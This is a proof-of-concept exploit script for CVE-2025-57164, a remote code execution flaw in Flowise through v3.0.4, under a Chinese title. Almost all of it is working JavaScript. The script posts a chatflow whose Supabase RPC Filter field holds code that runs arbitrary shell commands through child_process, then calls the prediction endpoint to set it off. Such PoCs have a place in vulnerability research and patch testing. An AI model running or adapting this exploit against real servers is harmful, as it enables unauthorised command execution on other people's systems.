CVE-2025-57164：Flowise Supabase RPC Filter远程代码执行漏洞

// CVE-2025-57164 PoC - Flowise Supabase RPC Filter RCE // Vulnerability: Unsanitized evaluation of user input in "Supabase RPC Filter" field // Affected: Flowise through v3.0.4 // Vulnerable file: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237 const axios = require('axios'); // Target Flowise instance URL const TARGET_URL = 'http://target-flowise-instance:3000'; // Malicious payload to be injected into "Supabase RPC Filter" field // The payload executes arbitrary commands on the server via child_process const maliciousFilter = ` (function(){ const { execSync } = require('child_process'); const cmd = process.env.POC_CMD || 'id > /tmp/pwned.txt'; const output = execSync(cmd).toString(); return output; })() `; async function exploit() { try { // Step 1: Create or update a chatflow with malicious Supabase RPC Filter const chatflowPayload = { name: 'poc-chatflow', flowData: JSON.stringify({ nodes: [ { id: 'supabase_node_1', type: 'Supabase', data: { id: 'supabase_node_1', label: 'Supabase', name: 'supabase', inputs: { supabaseRpcFilter: maliciousFilter // Inject malicious code here } } } ], edges: [] }) }; // Step 2: Send the malicious chatflow to the target const response = await axios.post( `${TARGET_URL}/api/v1/chatflows`, chatflowPayload, { headers: { 'Content-Type': 'application/json' } } ); console.log('[+] Chatflow created:', response.data.id); // Step 3: Trigger the chatflow to execute the malicious filter const predictionResponse = await axios.post( `${TARGET_URL}/api/v1/chatflows/${response.data.id}/prediction`, { question: 'trigger' } ); console.log('[+] Prediction response:', predictionResponse.data); console.log('[+] RCE triggered successfully!'); } catch (error) { console.error('[-] Exploit failed:', error.message); } } exploit();